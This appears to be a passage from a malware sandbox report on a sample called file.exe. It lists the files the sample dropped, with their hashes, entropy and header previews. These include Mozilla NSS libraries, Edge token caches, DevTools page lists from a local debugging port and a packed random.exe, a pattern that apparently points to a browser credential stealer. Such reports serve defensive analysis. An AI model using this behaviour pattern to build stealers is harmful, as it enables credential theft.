Jfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.847876780872165
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxxxl9Il8uBVgqwxEdlJpOmjw9nd1rc:mkYXVh3OMwG
MD5:	99E7E5338D00A420868FAEAFD28A7ACC
SHA1:	94756CAE46122C71E7950992B2BDFF47F553333F
SHA-256:	882E07D7B25DEE46FD8BE06649359BF78EDA745D690AEE173182DEAE3DC27314
SHA-512:	0CA90B940C1B88E00304DCB8268EBF049E1EE71897032674C5B73BC3CF054E724EED239C2D11EBAFD2207AC173316B44241029A7C54E71B3E6F6B8EAC5F88381
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.F.r.i./.8.c.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.c.I./.S.m.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9942762100145477
Encrypted:	false
SSDEEP:	96:QmY+fuIPUCI/7vaTum6Bh8es9D5Q6gllm53TCt:FFfuIP1o7SCVBh8eshq6nk
MD5:	B7BC753CA6ABB772343B437D7FEA6426
SHA1:	3B83411238F4E4C24433678E32EEA4ACD58F7061
SHA-256:	A8926BF49800C618BE2236E7267F1C6DA1B184D6C7D55AAC52660B5AB8AB5683
SHA-512:	4CA363B55F8B905E06CBF78F977431A06EEBD82497D74693216E911E587863AA1F1DA572AFD1EA90B1BCEF457EEAF861D501BEFEAA0FEE57799144FA70E79F99
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".R.o.P.n.5.b.8.+.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.c.I./.S.m.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.892832000865156
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xvxl9Il8uoEplfWgwyvOWYcD09u7EGWYyCJLd/vc:axYKm+g5vJYy0coGWz9
MD5:	0AAF669102D8AEEDC57BA81D5BA24D26
SHA1:	1110252FC26D397791E4CA163FD3579CC42BB467
SHA-256:	D64275F3044A094B53A7BE82BA7279D0A7CE3DF2719D67B28AACC06AC6BD0D42
SHA-512:	6DFCA90EFF2C4DE73EDD781C180F48CA58B30CC8E76F6BCCC436CAC2E8A06580BDE82BFB21F1B4CB41D9BBD3584C772818D4EDE8DF5A0BC11473F0610E3136C8
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".K.B.H.1.F.p.F.d.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.1.c.I./.S.m.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.394781581365658
Encrypted:	false
SSDEEP:	96:6NnQBiJHQBONnQAbQaNnQU9QZNnQhdgEQXNnQUQBNnQADQKNnQMwQ8NnQO3Qd:6NQiqONrNQNYGNSNdVND4NS
MD5:	3B1FC19040B8DA84D9EFAAF953E8A784
SHA1:	91AA26DD1BDBB17EC5CD8CB204F66A5A4449F9C5
SHA-256:	C2D13FD4F9935205C6C2FE946894B4D9E9A3CBFAB63945BF7DA42CB564853A67
SHA-512:	8457BB414D963078A36711D3E028AD9BDF49216E3CBE295F8B5DD99CD4DADAE2E4D1BF3B1B7A351FE170B3202E68CFB2437AC8ECE03D6B3A1025B944F6FFA310
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B9F47999900804F2EB9E0D1EB2AB818B",.. "id": "B9F47999900804F2EB9E0D1EB2AB818B",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B9F47999900804F2EB9E0D1EB2AB818B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/E43D8B226348465A5758585A9155721B",.. "id": "E43D8B226348465A5758585A9155721B",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/E43D8B226348465A5758585A9155721B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.368134690985429
Encrypted:	false
SSDEEP:	48:SfNaoQE23TEQEBfNaoQHIzQHefNaoQWwvQWdfNaoQoSM70UrU0U8Qot:6NnQE23TEQEdNnQkQmNnQFQiNnQoSq0M
MD5:	CD89752B54AEC0C1D57FB7192E4C51F7
SHA1:	35CFD43D3C45FE5D71D254E9570808A151FBC833
SHA-256:	6412A89623A3EC6B34C9259D9C9DF85B6060EBEC8B25E000C17564321C0F207D
SHA-512:	227A3028126A4E5DE93F0D16B377676F2D7B6C114BF98600547C4B5FA7D51C01C87027F3D8D08D642550B1107727E4E6FB1C0C67F9F1D2321028C6CB587B0446
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/B0D5991116520A3DCC011985750024BB",.. "id": "B0D5991116520A3DCC011985750024BB",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/B0D5991116520A3DCC011985750024BB"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/49B21D888295B91DDB616AC6E2BE56C4",.. "id": "49B21D888295B91DDB616AC6E2BE56C4",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/49B21D888295B91DDB616AC6E2BE56C4"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1881088
Entropy (8bit):	7.949263891885973
Encrypted:	false
SSDEEP:	24576:7sK8LXOfFyi7iFo3mV1V5GlCqjS8ZpZUNmYc1QO758iFt1pXE6ZE4qoPpNq:7s3zKYi7iFUmV1yCqe8quV8iT06LN
MD5:	ADD4BF165F7138D46D9FB140A1237B9B
SHA1:	6AEE0AA45EC0CAC927F48EED41213D07ACE05E81
SHA-256:	5358EEC7605247602552DECA5B148BFD9E5C9880DCB09991E0DE9885D095653B
SHA-512:	08B581B5D9473C725AA33FE26F07CF291016B5F738A3A262E41D11CC2E0EDBB25BF4CAFD4A2859D30525CA90A46EEEDDF03F2160053E96D65DF5BFE8988742E0
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................J...........@...........................J.....}.....@.................................W...k.......D................... eJ..............................dJ..................................................... . ............................@....rsrc...D...........................@....idata ............................@... . *.........................@...iqclzlke......0.....................@...yhvedyov.....pJ.....................@....taggant.0....J.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\0234b504-b7a5-41c9-ba3c-f50ddee0f731.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\3e011475-a68d-453d-bda5-46fa0f31c935.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\4d9e8860-b60a-488b-b799-edbc82827f15.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41900
Category:	dropped
Size (bytes):	76321
Entropy (8bit):	7.996057445951542
Encrypted:	true
SSDEEP:	1536:hS5Vvm808scZeEzFrSpzBUl4MZIGM/iys3BBrYunau6wpGzxue:GdS8scZNzFrMa4M+lK5/nXexue
MD5:	D7A1AC56ED4F4D17DD0524C88892C56D
SHA1:	4153CA1A9A4FD0F781ECD5BA9D2A1E68C760ECD4
SHA-256:	0A29576C4002D863B0C5AE7A0B36C0BBEB0FB9AFD16B008451D4142C07E1FF2B
SHA-512:	31503F2F6831070E887EA104296E17EE755BB6BBFB1EF2A15371534BFA2D3F0CD53862389625CF498754B071885A53E1A7F82A3546275DB1F4588E0E80BF7BEE
Malicious:	false
Preview:	...........m{..(.}...7.\...N.D.w..m..q....%XfL.I.ql..;/.....s...E...0....`..A..[o^.^Y...F_.'..."L...^.......Y..W..l...E0..YY...:.&.u?....J..U<.q."...p.ib:.g..^.q.mr.....^&.{.E.....,EAp.q.......=.=.....z^.,d.^..J.R..zI4..2b?.-D5/.^...+.G..Y..?5..k........i.,.T#........_DV....P..d2......b\..L....o....Z.}../....CU.$.-..D9`..~......=....._.2O..?....b.{...7IY.L..q....K....T..5m.d.s.4.^... ..~<..7~6OS..b...^>.......s..n....k."..G.....L...z.U...... ... .ZY...,...kU1..N...(..V.r\$..s...X.It...x.mr..W....g........9DQR....*d......;L.S.....G... .._D.{.=.zI.g.Y~...`T..p.yO..4......8$..v.J..I.%..._.d.[..du5._._...?\..8.c.....U...fy.t....q.t....T@.......:zu..\,.!.I..AN_.....FeX..h.c.i.W.......(.....Y..F...R%.\..@.. 2(e,&.76..F+...l.t.$..`...........Wi.{.U.&(.b}...}.i..,...k....!..%...&.c..D-."..SQ.......q9....)j....7.".N....AX...).d./giR....uk.....s.....^...........:...~......(hP..K.@.&..?.E0:+D\|9...U.q.cu..)t{.e...X...{.....z......LL&I6.=.

C:\Users\user\AppData\Local\Temp\56a93870-e292-4715-a718-d2379d45e316.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\641912c6-00b0-4e5d-9395-1309df55c547.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
